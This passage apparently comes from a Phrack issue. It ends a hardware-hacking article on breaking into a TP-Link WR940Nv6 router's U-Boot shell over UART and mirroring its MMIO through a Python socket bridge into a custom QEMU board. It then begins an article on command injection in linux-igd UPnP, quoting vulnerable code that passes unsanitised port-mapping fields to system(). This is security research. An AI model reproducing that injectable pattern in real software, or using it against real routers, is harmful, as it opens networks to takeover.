`CONFIG_AUTOBOOT_STOP_STR` or `CONFIG_AUTOBOOT_STOP_STR2` Then the string defined in `CONFIG_AUTOBOOT_STOP_STR*` needs to be sent to the console before the countdown defined in CONFIG_BOOTDELAY reaches zero. (this reminds me of the game NFL Blitz where you can press in a code before the match begins) For the WR940Nv6, the string `tpl` is defined and needs to be sent within 1 second after the `CONFIG_AUTOBOOT_PROMPT` is displayed. Doing this manually has a low success rate, but using python to spam the string `tpl` over and over again via a serial adapter has a very high success rate! This drops us into a Das U-boot shell which gives us read and write access to physical memory via the `md` and `mw` commands. Awesome! The code for the `md` and `mw` commands can be found in `/ap151/boot/u-boot/common/cmd_mem.c` within the GPL tarball for the WR940Nv6. --[ 3 - Initial Testing To make sure that the newly discovered Das U-Boot shell can actually read and write to physical memory I decided to write to address `0x18040008` which corresponds to the `GPIO_OUT` register. This address is marked as "read-only" in the datasheet, so I looked at the Das U-Boot code to find any hints to help me confirm this is true. Within the `led.S` file the address `0x18040008` is labeled as `GPIO_OUT` which lines up with the datasheet, but then they write the value `0xc000` to it with a comment that says that the LED will turn orange. The value `0xc000` has bits 14 and 15 set, which could mean that GPIO output ports 14 and 15 are "ON" which turns on the LED, but why is it orange? Well, the LED is a three pin multi-colored LED with two different colors, red (but it looks orange irl) and blue. By providing power to one of the pins, we can enable the red (orange) LED. Since this code is made to support different versions of the WR940N (which all have different LED configurations) they set both GPIO 14 and 15 to ON, but only one pin is needed to make the red LED turn on, so the red pin is connected to either GPIO pin 14 or 15. Through trial and error it was found that GPIO pin 14 on the WR940Nv6 is the red LED and pin 19 is the blue LED! There's a statement within `led.S` that says to turn all of the "WAN" LEDs blue via `~((1<<3) | (1<<14) | (1<<4) | (1<<5) | (1<<6) | (1<<7))`, and through trial and error it was discovered that GPIO pin 19 turns on the blue LED and setting pins 14 and 19 will make the LED turn purple! Even though this test seems a bit silly, it verifies that the Das U-boot shell can write to MMIO regions and they actually work! The following diagram shows how the test was conducted: ||====[UART (Das U-Boot Shell)] || \ | / vv +------------+ /---------\ | |---------GPIO 14------->| | | | \ LED / | QCA956x | | | | | |---------GPIO 19------------->| | | |-----------GND------------------->| +------------+ | | | After this test, I created a python script that connects to a UART serial adapter via the `serial` module and accepts commands to read or write 4 bytes of data to memory via a TCP socket. Using this approach is expected to be slow, but if this works then I can integrate all of it in C via libftdi or libusb and eliminate the need of using a socket and python. Make it work first, then make it fast later. Code: NOTE: The code below is only part of the final MITM python script. ``` def read_from_phy_memory(ser, address): print(f'[*] Reading from Address: 0x{address:08X}...') ser.write(bytes(f"md 0x{address:08X}1\n","UTF-8")) out = get_response(ser) offset = out.rfind(bytes(f'{address:08x}: ',"UTF-8")) value = int(b'0x' + out[offset + len(bytes(f'{address:08x}: ', "UTF-8")):offset + len(bytes(f'{address:08x}:',"UTF-8")) + 8], 16) logging.debug(f"READ: 0x{address:08X}:0x{value:08X}") return value def write_to_phy_memory(ser, address, value): print(f'[*] Writing to Address: 0x{address:08X} with value \ 0x{value:08X}...') logging.debug(f"WRITE: 0x{address:08X}: 0x{value:08X}") ser.write(bytes(f"mw 0x{address:04X} 0x{value:04X}\n","UTF-8")) def listen_and_respond(ser, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: s.bind(("0.0.0.0", port)) except socket.error as msg: print('[-] Bind failed. Error Code : ' + str(msg[0]) + \ ' Message ' + msg[1]) return False s.listen(1) print (f'[*] Socket now listening on port {port}') while True: conn, addr = s.accept() msg = conn.recv(1024) while len(msg) > 0: if msg == b'exit\n': conn.send(bytes('[*] Byeeeeee\n', "UTF-8")) conn.close() break if msg == b'shutdown\n': conn.send(bytes('[*] The server is going down down\n', "UTF-8")) conn.close() s.shutdown(socket.SHUT_WR) s.close() return elif msg[0] == ord('r'): # Read Bytes addr = int(msg[1:].strip(b'\n'), 16) out = read_from_phy_memory(ser, addr) conn.send(bytes(hex(out), "UTF-8")) elif msg[0] == ord('w'): # Write Bytes address = msg[1:].split(b" ")[0] value = msg[1:].split(b" ")[1].strip(b'\n') write_to_phy_memory(ser, int(address, 16), int(value, 16)) conn.send(b'1') msg = conn.recv(1024) ``` --[ 4 - Using Qemu to record MMIO transactions To help speed up development, I copied the `mipssim.c` board within the `qemu/hw/mips` directory and used it as a skeleton. From there I reviewed the documentation for Qemu to learn the memory APIs. All that was needed to make a MMIO region is to first call `memory_region_init_io()` with the MemoryRegion *pointer (comes from g_new(MemoryRegion,1)), a struct that contains the `.read.`, `.write.`, callbacks populated (struct MemoryRegionOps), the name of the region for Qemu to use (e.g. "DDR"), and then the size of the region. An Object can be supplied to the second argument which is passed to the callbacks, but that isn't needed at this stage. However, it'll be needed when implementing the logic for the virtual component. Lastly a call to `memory_region_add_subregion()` needs to be called for the subregion to be applied to the main memory space (return value of get_system_memory()). The following code Qemu snippet demonstrates registering the subregion for the GPIO registers: ``` [...] /* MMIO Callbacks for GPIO */ // READ static uint64_t gpio_mmio_read(void *opaque, hwaddr addr, unsigned size) { return 0; // return 0 for all reads in the GPIO region } // WRITE static void gpio_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { // The addr argument is an offset within the MMIO region // 0x44 == 0x18040044 if (addr == 0x44){ // Skip this register since this breaks MITM MMIO return; } return; } // Struct for Callbacks + Endianness static const MemoryRegionOps gpio_mmio_ops = { .read = gpio_mmio_read, .write = gpio_mmio_write, .endianness = DEVICE_BIG_ENDIAN }; // Get physical memory MemoryRegion *address_space_mem = get_system_memory(); // Init GPIO region memory_region_init_io(gpio_mmio, NULL, &gpio_mmio_ops, NULL, "GPIO_MMIO", 0x70); // Add subregion to physical memory memory_region_add_subregion(address_space_mem, 0x18040000LL, gpio_mmio); // Reads and writes to GPIO will trigger the callbacks during runtime. [...] ``` With the regions mapped with callbacks, the next step is to connect Qemu to the MITM script. This can be accomplished when the virtual board is being initialized by creating a socket, saving the socket fd, connecting to the python listener, and return. Then, within the callbacks, the socket fd is used to request reads and writes to physical memory from the python listener. This is how it's all connected: +----------+ +----------+ +----------+ | Qemu |<-TCP->| Python |<-UART->| Router | | | | | | U-Boot | +----------+ +----------+ +----------+ Note: If a datasheet could not be found for this SoC in this paper then I would register one large MMIO callback region starting at an address that crashes when an running from a found entry point. (e.g. Address: 0x18000000 Size: 0x18000000 [0x18000000-0x30000000]) --[ 5 - Discoveries The initial discovery that was already mentioned is that the datasheet and source code don't line up 100%, it's more like 90%. Besides that, it was found that the DDR region (0x18000000) is reported as 0x128 bytes in size, but there's an additional register (DDR3_CONFIG) that lives at `0x1800015C`, so there's either undocumented registers between `0x128-0x15c` or that particular memory space is unused. Another discovery was the region that wasn't fully documented within the datasheet, but I've labeled it as `GMAC1` which lives at `0x1A000000` with size `0x2E8` since the values written are very close to the values written to the `GMAC0` region (0x19000000). The virtual device actually gets pretty far within the boot process, but fails during the initialization of the WiFi driver. Since we're just capturing MMIO transactions, the thing that's missing are the interrupts that need to be used when certain conditions happen for each subcomponent. (e.g. Raise an interrupt for when a certain register for a clock reaches zero during calibration.) The GPIO address `0x18040044` is labeled `UART0_SIN Multiplexing` and the usage is to set which GPIO pins are used for UART0. During the boot process this register is written to and breaks the UART connection that used to interact with Das U-Boot. Adding a statement to skip offset `0x44` for this region is needed to continue booting from Das U-Boot and into Linux (virtually). This approach allows us to utilize a component of the SoC in real life while being able to emulate all of the other subcomponents that we're not interested in. (e.g. utilize the device's Ethernet Ports + Controller, but emulate the rest of the other subcomponents) --[ 6 - Failed ideas My first idea was to use `/dev/mem` to read and write to physical memory, but attempting to write to physical memory would result in a segfault. Reading from these regions was fine, but writing as a no-go. Plus, the OS is fully loaded with running drivers, so these regions are constantly being used. Attempting to read and write could cause unpredictable system instability, so leveraging the bootloader seemed like a better idea. No drivers, No OS, just GPIO pins :) I then attempted to bit bang GPIO pins for E-JTAG with an Arduino nano, but this resulted in nothing being found :( --[ 7 - Give this a try yourself! * Turn off the WR940Nv6 * Connect a serial adapter to the UART pins * Note: There are two jumpers that need to be soldered to complete the circuit for RX/TX * Run the script below to drop the WR940Nv6 into the Das U-Boot shell * Turn on the Router via the button on the back of the router * Note: If the script doesn't detect a shell within a few seconds then reboot the router and it should work * Connect to port TCP port 1337 once the script detects a Das U-boot shell * Send the string `w0x18040008 0x00080000` to turn the front LED blue * Send the string `w0x18040008 0x00004000` to turn off the front LED * Send `shutdown` to close the server socket and exit * MMIO MITM Python Code: ``` import serial import time import socket import logging ### CONSTS ### GPIO_OUT = 0x18040008 logger = logging.getLogger(__name__) logging.basicConfig(filename='bootup.log', format='"%(asctime)s;%(message)s', datefmt="%H:%M:%S", filemode='w', encoding='utf-8', level=logging.DEBUG) def get_response(ser): time.sleep(0.02) out = b"" while ser.inWaiting() > 0: out += ser.read(1) return out def read_from_phy_memory(ser, address): print(f'[*] Reading from Address: 0x{address:08X}...') ser.write(bytes(f"md 0x{address:08X} 1\n","UTF-8")) out = get_response(ser) offset = out.rfind(bytes(f'{address:08x}: ',"UTF-8")) value = int(b'0x' + out[offset + len(bytes(f'{address:08x}: ', "UTF-8")):offset + len(bytes(f'{address:08x}: ',"UTF-8")) + 8], 16) logging.debug(f"READ: 0x{address:08X}: 0x{value:08X}") return value def write_to_phy_memory(ser, address, value): print(f'[*] Writing to Address: 0x{address:08X} with value \ 0x{value:08X}...') logging.debug(f"WRITE: 0x{address:08X}: 0x{value:08X}") ser.write(bytes(f"mw 0x{address:04X} 0x{value:04X}\n","UTF-8")) time.sleep(0.01) def test_uboot_cmd_line(ser, test_string): ser.write(bytes(f"{test_string}\n","UTF-8")) out = get_response(ser) if bytes(f'Unknown command \'{test_string}\'', "UTF-8") in out: return True def spam_tpl_for_uboot(ser, max_attempts): while True: ser.write(b'tpl') out = get_response(ser) if b"ap151>" in out: print(f"[+] Router is now in [REDACTED] state with \ {max_attempts} attempts remaining.") return True max_attempts -= 1 if max_attempts == 0: print("[-] Unable to get the router into the [REDACTED] state. \ Try Rebooting...") return False def listen_and_respond(ser, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: s.bind(("0.0.0.0", port)) except socket.error as msg: print('[-] Bind failed. Error Code : ' + str(msg[0]) + \ ' Message ' + msg[1]) return False s.listen(1) print (f'[*] Socket now listening on port {port}') while True: conn, addr = s.accept() msg = conn.recv(1024) while len(msg) > 0: if msg == b'exit\n': conn.send(bytes('[*] Byeeeeee\n', "UTF-8")) conn.close() break if msg == b'shutdown\n': conn.send(bytes('[*] The server is going down down\n', "UTF-8")) conn.close() s.shutdown(socket.SHUT_WR) s.close() return elif msg[0] == ord('r'): # Read Bytes addr = int(msg[1:].strip(b'\n'), 16) out = read_from_phy_memory(ser, addr) conn.send(bytes(hex(out), "UTF-8")) elif msg[0] == ord('w'): # Write Bytes address = msg[1:].split(b" ")[0] value = msg[1:].split(b" ")[1].strip(b'\n') write_to_phy_memory(ser, int(address, 16), int(value, 16)) conn.send(b'1') msg = conn.recv(1024) def splash(): print('[~ * ~ [WR940N MMIO MITM] ~ * ~]') print('[>>>>>>>>>>> by: b1ack0wl <<<<<<<<<<<]') def main(): ser = serial.Serial( port='/dev/ttyUSB1', # Note: Change this for your USB serial device baudrate=115200 ) already_open = test_uboot_cmd_line(ser, "0wl") ser.isOpen() if (already_open != True): print(f'[*] Attempting to get the WR940N into the Das U-Boot shell...') if (spam_tpl_for_uboot(ser, 5000) == False): ser.close() return else: print(f"[*] Router is already in the Das U-boot shell :D") ser.write(b'\n\n') listen_and_respond(ser, 1337) if __name__ == '__main__': splash() main() print('[*] - Done') ``` This is the Qemu board code. * It needs to be put in the `qemu/hw/mips` folder. * NOTE: Only GPIO, SPI, and DDR are mapped, it is up to the reader to complete the rest ``` /* * System emulation for the WR940N V6 board, but stripped for Phrack * by b1ack0wl <3 */ #include "qemu/osdep.h" #include "qapi/error.h" #include "qemu/datadir.h" #include "exec/address-spaces.h" #include "hw/clock.h" #include "hw/mips/mips.h" #include "net/net.h" #include "sysemu/sysemu.h" #include "hw/boards.h" #include "hw/loader.h" #include "elf.h" #include "hw/sysbus.h" #include "hw/qdev-properties.h" #include "qemu/error-report.h" #include "sysemu/qtest.h" #include "sysemu/reset.h" #include "sysemu/runstate.h" #include "cpu.h" #include "hw/mips/wr940n.h" int client_fd = 0; // global lol #define BIOS_FILENAME "u-boot.bin" static struct _loaderparams { int ram_size; const char *kernel_filename; const char *kernel_cmdline; const char *initrd_filename; } loaderparams; typedef struct ResetData { MIPSCPU *cpu; uint64_t vector; } ResetData; static uint64_t load_kernel(void) { uint64_t entry, kernel_high, initrd_size; long kernel_size; ram_addr_t initrd_offset; kernel_size = load_elf(loaderparams.kernel_filename, NULL, cpu_mips_kseg0_to_phys, NULL, &entry, NULL, &kernel_high, NULL, TARGET_BIG_ENDIAN, EM_MIPS, 1, 0); if (kernel_size < 0) { error_report("could not load kernel '%s': %s", loaderparams.kernel_filename, load_elf_strerror(kernel_size)); exit(1); } /* load initrd */ initrd_size = 0; initrd_offset = 0; if (loaderparams.initrd_filename) { initrd_size = get_image_size(loaderparams.initrd_filename); if (initrd_size > 0) { initrd_offset = ROUND_UP(kernel_high, INITRD_PAGE_SIZE); if (initrd_offset + initrd_size > loaderparams.ram_size) { error_report( "memory too small for initial ram disk '%s'", loaderparams.initrd_filename); exit(1); } initrd_size = load_image_targphys( loaderparams.initrd_filename, initrd_offset, loaderparams.ram_size - initrd_offset); } if (initrd_size == (target_ulong) -1) { error_report("could not load initial ram disk '%s'", loaderparams.initrd_filename); exit(1); } } return entry; } static void main_cpu_reset(void *opaque) { ResetData *s = (ResetData *)opaque; CPUMIPSState *env = &s->cpu->env; cpu_reset(CPU(s->cpu)); env->active_tc.PC = s->vector; } static void connect_to_mmio_server(void){ int status; struct sockaddr_in serv_addr; if ((client_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\n Socket creation error \n"); return; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(1337); if (inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr) <= 0) { puts( "\n[*] bruh..."); return; } if ((status = connect(client_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) < 0) { puts("\n[-] Connection to the MMIO MITM interface failed..."); puts("[*] Is the MMIO MITM script even running?!?!"); exit(-1); // We need the interface to be up return; } } static int read_mmio_mitm(int address){ int valread, ret_val = 0; char buffer[128] = { 0 }; snprintf(buffer, sizeof(buffer), "r0x%x", address); send(client_fd, buffer, strlen(buffer), 0); memset(buffer, 0, sizeof(buffer)); valread = read(client_fd, buffer, sizeof(buffer) - 1); if (valread){ ret_val = strtol(buffer, NULL, 16); } return ret_val; } static int write_mmio_mitm(int address, int value){ int valread, ret_val = 0; char buffer[128] = { 0 }; snprintf(buffer, sizeof(buffer), "w0x%x 0x%x", address, value); send(client_fd, buffer, strlen(buffer), 0); memset(buffer, 0, sizeof(buffer)); valread = read(client_fd, buffer, sizeof(buffer) - 1); if (valread){ ret_val = atoi(buffer); } return ret_val; } // MMIO Callbacks for GPIO static uint64_t gpio_mmio_read(void *opaque, hwaddr addr, unsigned size) { int base_addr = 0x18040000; int ret_val = 0; ret_val = read_mmio_mitm(base_addr + addr); return ret_val; } static void gpio_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { int base_addr = 0x18040000; if (addr == 0x44){ // This is for UART Multiplexing, skip. return; } write_mmio_mitm(base_addr + addr, val); return; } static const MemoryRegionOps gpio_mmio_ops = { .read = gpio_mmio_read, .write = gpio_mmio_write, .endianness = DEVICE_BIG_ENDIAN }; // MMIO Callbacks for SPI static uint64_t spi_mmio_read(void *opaque, hwaddr addr, unsigned size) { struct SPI_IO *spi_io = opaque; switch (addr) { case 0x0: return 1; case 0x8: break; case 0xC: // (SPI_READ_DATA_ADDR) spi_io->cmd = ((spi_io->cmd & 0x0F) << 4 | (spi_io->cmd & 0xF0) >> 4 | (spi_io->cmd & 0xF000) >> 4 | (spi_io->cmd & 0xF00) << 4 | (spi_io->cmd & 0xF0000) << 4 | (spi_io->cmd & 0xF00000) >> 4 | (spi_io->cmd & 0xF000000) << 4 | (spi_io->cmd & 0xF0000000) >> 4); if (spi_io->cmd == 0x9F){ spi_io->cmd = 0; return 0x1337; } break; default: break; } return 0; } static void spi_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { struct SPI_IO *spi_io = opaque; switch (addr) { case 0x0: break; case 0x8: // (SPI_IO_CONTROL_ADDR) if ((val == 0x70000) && (spi_io->cmd_in_progress == 0)){ // CS0-2 are high which means disabled // reset cmd offset and cmd spi_io->cmd_offset = 0; spi_io->cmd = 0; spi_io->cmd_in_progress = 1; } else if ((val == 0x70000) && (spi_io->cmd_in_progress == 1)){ spi_io->cmd_in_progress = 0; break; } if ((val & (1 << 8)) && (val & (1 << 18))){ // CS2 is low (active) // SPI_Clock is high, so grab data value if (spi_io->cmd_offset == 32){ break; } spi_io->cmd |= (val & 1) << spi_io->cmd_offset; spi_io->cmd_offset++; } break; default: break; } return; } static const MemoryRegionOps spi_mmio_ops = { .read = spi_mmio_read, .write = spi_mmio_write, .endianness = DEVICE_BIG_ENDIAN }; // MMIO Callbacks for DDR static uint64_t ddr_mmio_read(void *opaque, hwaddr addr, unsigned size) { int base_addr = 0x18000000; int ret_val = 0; ret_val = read_mmio_mitm(base_addr + addr); return ret_val; } static void ddr_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { int base_addr = 0x18000000; write_mmio_mitm(base_addr + addr, val); return; } static const MemoryRegionOps ddr_mmio_ops = { .read = ddr_mmio_read, .write = ddr_mmio_write, .endianness = DEVICE_BIG_ENDIAN }; struct fw_sections parse_wr940n_firmware_header(char *filename){ struct fw_header fw_header; struct fw_sections fw_sections; FILE *fptr; memset(&fw_header, 0, sizeof(fw_header)); fptr = fopen(filename, "rb"); fseek(fptr, 0,SEEK_SET); size_t read = fread(&fw_header, 1, sizeof(fw_header), fptr); if (read != sizeof(fw_header)){ printf("[-] Error while reading fw image %s\n", filename); printf("[-] Read size: %ld\n", read); } // We need to swap since we're on AyyMD64 fw_header.version = bswap_32(fw_header.version); fw_header.hw_id = bswap_32(fw_header.hw_id); fw_header.hw_rev = bswap_32(fw_header.hw_rev); fw_header.kernel_la = bswap_32(fw_header.kernel_la); fw_header.kernel_ep = bswap_32(fw_header.kernel_ep); fw_header.fw_length = bswap_32(fw_header.fw_length); fw_header.kernel_ofs = bswap_32(fw_header.kernel_ofs); fw_header.kernel_len = bswap_32(fw_header.kernel_len); fw_header.rootfs_ofs = bswap_32(fw_header.rootfs_ofs); fw_header.rootfs_len = bswap_32(fw_header.rootfs_len); fw_header.boot_ofs = bswap_32(fw_header.boot_ofs); fw_header.boot_len = bswap_32(fw_header.boot_len); fw_header.ver_hi = bswap_16(fw_header.ver_hi); fw_header.ver_mid = bswap_16(fw_header.ver_mid); fw_header.ver_lo = bswap_16(fw_header.ver_lo); printf("[*] Vendor: %s\n", fw_header.vendor_name); printf("[*] FW Version: %s\n", fw_header.fw_version); printf("[*] fw_header.kernel_la: 0x%08x\n", fw_header.kernel_la); printf("[*] fw_header.kernel_ep: 0x%08x\n", fw_header.kernel_ep); printf("[*] fw_header.kernel_ofs: 0x%08x\n", fw_header.kernel_ofs); printf("[*] fw_header.kernel_len: 0x%08x\n", fw_header.kernel_len); printf("[*] fw_header.rootfs_ofs: 0x%08x\n", fw_header.rootfs_ofs); printf("[*] fw_header.rootfs_len: 0x%08x\n", fw_header.rootfs_len); printf("[*] fw_header.bootlen: 0x%08x\n", fw_header.boot_len); printf("[*] fw_header.boot_ofs: 0x%08x\n", fw_header.boot_ofs); printf("[*] fw_header.fw_length: 0x%08x\n", fw_header.fw_length); fw_sections.boot_loader_len = fw_header.fw_length - 0x200; fw_sections.bootloader = g_malloc(fw_sections.boot_loader_len + 1); read = fread(fw_sections.bootloader, 1, fw_sections.boot_loader_len, fptr); if (read != fw_sections.boot_loader_len){ printf("[-] Error while reading from file: %s\n", filename); } return fw_sections; } static void mips_wr940n_init(MachineState *machine) { const char *kernel_filename = machine->kernel_filename; const char *kernel_cmdline = machine->kernel_cmdline; const char *initrd_filename = machine->initrd_filename; char *filename; MemoryRegion *address_space_mem = get_system_memory(); MemoryRegion *gpio_mmio = g_new(MemoryRegion, 1); MemoryRegion *ddr_mmio = g_new(MemoryRegion, 1); Clock *cpuclk; MIPSCPU *cpu; CPUMIPSState *env; ResetData *reset_info; struct fw_sections fw_sections; memset(&fw_sections, 0, sizeof(fw_sections)); // Connect to MMIO Server connect_to_mmio_server(); cpuclk = clock_new(OBJECT(machine), "cpu-refclk"); clock_set_hz(cpuclk, 200 * 1000000); /* 200 MHz */ /* Init CPUs. */ cpu = mips_cpu_create_with_clock(machine->cpu_type, cpuclk); env = &cpu->env; reset_info = g_new0(ResetData, 1); reset_info->cpu = cpu; reset_info->vector = 0x9F000400; qemu_register_reset(main_cpu_reset, reset_info); /* Allocate RAM. */ memory_region_add_subregion(address_space_mem, 0, machine->ram); /* bootloader */ filename = qemu_find_file(QEMU_FILE_TYPE_BIOS, machine->firmware ?: BIOS_FILENAME); if (filename) { fw_sections = parse_wr940n_firmware_header(filename); /* Map the BIOS / boot exception handler. */ memory_region_init_rom(bios, NULL, "WR940NV6.bios.rom", fw_sections.boot_loader_len, &error_fatal); memory_region_add_subregion_overlap(address_space_mem, 0x1F000000, bios, 0); rom_add_blob_fixed(filename, fw_sections.bootloader, fw_sections.boot_loader_len, 0x1F000000); g_free(filename); } if (fw_sections.bootloader == 0) { /* we don't have a kernel image nor boot vector code.*/ error_report("Could not load TP-Link FW Image bios '%s'", machine->firmware); exit(1); } else { /* We have a boot vector start address. */ env->active_tc.PC = (target_long)(int32_t)0x9F000400; } /* GPIO */ memory_region_init_io(gpio_mmio, NULL, &gpio_mmio_ops, NULL, "GPIO_MMIO", 0x74); memory_region_add_subregion(address_space_mem, 0x18040000LL, gpio_mmio); /* SPI */ struct SPI_IO *spi_io = g_malloc0(sizeof(struct SPI_IO)); spi_io->spi_contents = g_malloc0(fw_sections.boot_loader_len+1); memcpy(spi_io->spi_contents, fw_sections.bootloader, fw_sections.boot_loader_len); memory_region_init_io(spi_mmio, NULL, &spi_mmio_ops, spi_io, "SPI_MMIO", 0x20); memory_region_add_subregion_overlap(address_space_mem, 0x1F000000LL, spi_mmio, 1); /* DDR */ memory_region_init_io(ddr_mmio, NULL, &ddr_mmio_ops, NULL, "DDR_MMIO", 0x160); memory_region_add_subregion(address_space_mem, 0x18000000LL, ddr_mmio); if (kernel_filename) { loaderparams.ram_size = machine->ram_size; loaderparams.kernel_filename = kernel_filename; loaderparams.kernel_cmdline = kernel_cmdline; loaderparams.initrd_filename = initrd_filename; reset_info->vector = load_kernel(); } /* Init CPU internal devices. */ cpu_mips_irq_init_cpu(cpu); cpu_mips_clock_init(cpu); memory_region_init_alias(isa, NULL, "isa_mmio", get_system_io(), 0, 0x00010000); memory_region_add_subregion(get_system_memory(), 0x1fd00000, isa); } static void mips_wr940n_machine_init(MachineClass *mc) { mc->desc = "TP-Link WR940NV6 Board by b1ack0wl"; mc->init = mips_wr940n_init; mc->default_cpu_type = MIPS_CPU_TYPE_NAME("74Kf"); mc->default_ram_size = 1 * GiB; // for debug reasons mc->default_ram_id = "mips_wr940n.ram"; } DEFINE_MACHINE("WR940NV6", mips_wr940n_machine_init) ``` Header File (wr940n.h) * This needs to be put in the `qemu/include/hw/mips/` folder ``` #include <byteswap.h> #include "hw/sysbus.h" #include "chardev/char-fe.h" struct fw_sections parse_wr940n_firmware_header(char *filename); struct fw_sections{ char *bootloader; int boot_loader_len; char *kernel; int kernel_len; char *rootfs; int root_fs_len; }; /* lifted from https://github.com/jtreml/firmware-mod-kit/blob/master/src /firmware-tools/mktplinkfw.c */ struct fw_header { uint32_t version; /* header version */ char vendor_name[24]; char fw_version[36]; uint32_t hw_id; /* hardware id */ uint32_t hw_rev; /* hardware revision */ uint32_t unk1; uint8_t md5sum1[16]; uint32_t unk2; uint8_t md5sum2[16]; uint32_t unk3; uint32_t kernel_la; /* kernel load address */ uint32_t kernel_ep; /* kernel entry point */ uint32_t fw_length; /* total length of the firmware */ uint32_t kernel_ofs; /* kernel data offset */ uint32_t kernel_len; /* kernel data length */ uint32_t rootfs_ofs; /* rootfs data offset */ uint32_t rootfs_len; /* rootfs data length */ uint32_t boot_ofs; /* bootloader data offset */ uint32_t boot_len; /* bootloader data length */ uint16_t ver_hi; uint16_t ver_mid; uint16_t ver_lo; uint8_t pad[354]; }; struct SPI_IO { /*< private >*/ SysBusDevice parent_obj; /*< public >*/ MemoryRegion regs_region; CharBackend chr; char *spi_contents; char model_number[5]; uint32_t read_offset; uint32_t read_len; uint8_t busy_flag; uint32_t cmd; uint8_t cmd_offset; uint8_t cmd_in_progress; }; ``` Add this board to Qemu by modifying `qemu/hw/mips/meson.build` and adding in the following statement: `mips_ss.add(when: 'CONFIG_WR940N', if_true: files('0wl_wr940n_v6.c'))` Then, go into `qemu/hw/mips/Kconfig` and add in the following statements: ``` config WR940N bool select SERIAL select MIPSNET ``` NOTE: The peripherals above are copied from MIPSSIM, but other included peripherals can be added if they can be utilized. (e.g XILINX UART) To run this board, just run the following command after building: `./qemu-system-mips -s -machine WR940NV6 -bios WR940NV6_FW_FILE (e.g. wr940nv6_us_3_20_1_up_boot(220801).bin)` The board will automatically extract the contents of the WR940Nv6 firmware blob, map the bootloader + kernel, and begin execution at Das U-Boot. You'll see the LED blink a few colors on the physical device and then the virtual board should crash due to a MMIO region not being allocated. It is up to the reader to complete the rest of the MMIO peripherals while using the MITM technique to either narrow in on a specific device (e.g. WiFi) or to simply see what's going on during the boot process or when a driver is interacting with it. Happy Hacking :) --[ References [1] https://static.tp-link.com/resources/gpl/TL-WR940NV6_GPL.tar.gz /!\ AUTHOR_NOTE: If the above link 404s, go to the GPL code center and look for WR940Nv6: https://www.tp-link.com/us/support/Sgpl-code/ [2] https://github.com/Deoptim/atheros |=-----------------------------------------------------------------------=| |=--------------=[ 7 - Shell Your Way to Network Mastery ]=--------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Gabriel & Thomas ]=-------------------------=| |=-----------------------------------------------------------------------=| 1 - Abstract 2 - Introduction 3 - White-box audit 4 - Compilation and debugging 5 - Becoming a Bash Jiu Jitsu white belt 6 - Becoming a Bash Jiu Jitsu purple belt 7 - Becoming a Bash Jiu Jitsu black belt 8 - Claiming supremacy over the mats 9 - Conclusion 10 - Acknowledgments 11 - References --------------------------------------------------------------------------- --[ 1. Abstract Control over LAN can be achieved by exploiting an old network service that opens a pathway through HTTP requests. By targeting a vulnerability in the service request's parsing of parameters, a patient attacker can force the execution of unauthorized commands as in a command line. This flow allows bypassing the built-in rulesets that would otherwise block such exploits, making it possible to gain deeper access. By carefully crafting unexpected HTTP requests while manipulating specific SOAP payloads, we can reach what we desire the most, the takeover of the network. --------------------------------------------------------------------------- --[ 2. Introduction Universal Plug and Play (UPnP) has long been a subject of concern due to its widespread use in simplifying network configurations, often at the expense of security. Originally designed to allow devices to automatically discover and configure themselves on a network, UPnP relies on the Internet Gateway Device (IGD), typically a router, to manage inbound and outbound traffic. However, the very features that make it convenient, such as automatic port forwarding and NAT traversal, also open doors to exploit. Over time, Linux IGD implementations, which allow Linux-based systems to perform similar functions, have become increasingly relevant in the threat landscape. Despite being an old service, UPnP and its related components still present a range of vulnerabilities that attackers can exploit. The next section will explore how a modified version of linuxigd (linux-igd)[1] can be exploited. --------------------------------------------------------------------------- --[ 3. White-box audit The focus of this analysis is on the implementation of linuxigd (linux-igd) and its derivatives, such as the reuse of its codebase within SDKs. The original code can be found on SourceForge[2]. The service was written in C++ at first, but the developers switched to C starting with version 0.95. +----------------------+----------+ | Version | Language | +----------------------+----------+ | gateway-0.71.tgz | C++ | | gateway-0.75.tgz | C++ | | gateway-0.90.tgz | C++ | | gateway-0.91.tgz | C++ | | linuxigd-0.92.tgz | C++ | | linuxigd-0.95.tar.gz | C | | linuxigd-1.0.tar.gz | C | +----------------------+----------+ While each version and its changes have been analyzed, the vendor seems to have modified version 1.0 for its SDK. The code examples below are based on the vendor's modified source code of the latest version of linuxigd (1.0). It is up to the reader through firmware analysis to identify examples where this service codebase is reused in SDKs. By reading the file pmlist.c source code, several command injections can be identified in the pmlist_AddPortMapping() and pmlist_DeletePortMapping() functions. int pmlist_AddPortMapping(int enabled, char *protocol, char *externalPort, char *internalClient, char *internalPort) { if (enabled) { ... char command[COMMAND_LEN]; int status; { ... snprintf(command, COMMAND_LEN, "%s -t nat -I %s -i %s -p %s" " --dport %s -j DNAT --to %s:%s", g_vars.iptables, g_vars.preroutingChainName, g_vars.extInterfaceName, protocol, externalPort, internalClient, internalPort); trace(3, "%s", command); system(command); ... } if (g_vars.forwardRules) { snprintf(command, COMMAND_LEN, "%s -A %s -p %s" " -d %s --dport %s -j ACCEPT", g_vars.iptables, g_vars.forwardChainName, protocol, internalClient, internalPort); trace(3, "%s", command); system(command); ... } ... } return 1; } int pmlist_DeletePortMapping(int enabled, char *protocol, char *externalPort, char *internalClient, char *internalPort) { if (enabled) { ... char command[COMMAND_LEN]; int status; { ... snprintf(command, COMMAND_LEN, "%s -t nat -D %s -i %s -p %s" " --dport %s -j DNAT --to %s:%s", g_vars.iptables, g_vars.preroutingChainName, g_vars.extInterfaceName, protocol, externalPort, internalClient, internalPort); trace(3, "%s", command); system(command); ... } if (g_vars.forwardRules) { snprintf(command, COMMAND_LEN, "%s -D %s -p %s" " -d %s --dport %s -j ACCEPT", g_vars.iptables, g_vars.forwardChainName, protocol, internalClient, internalPort); trace(3, 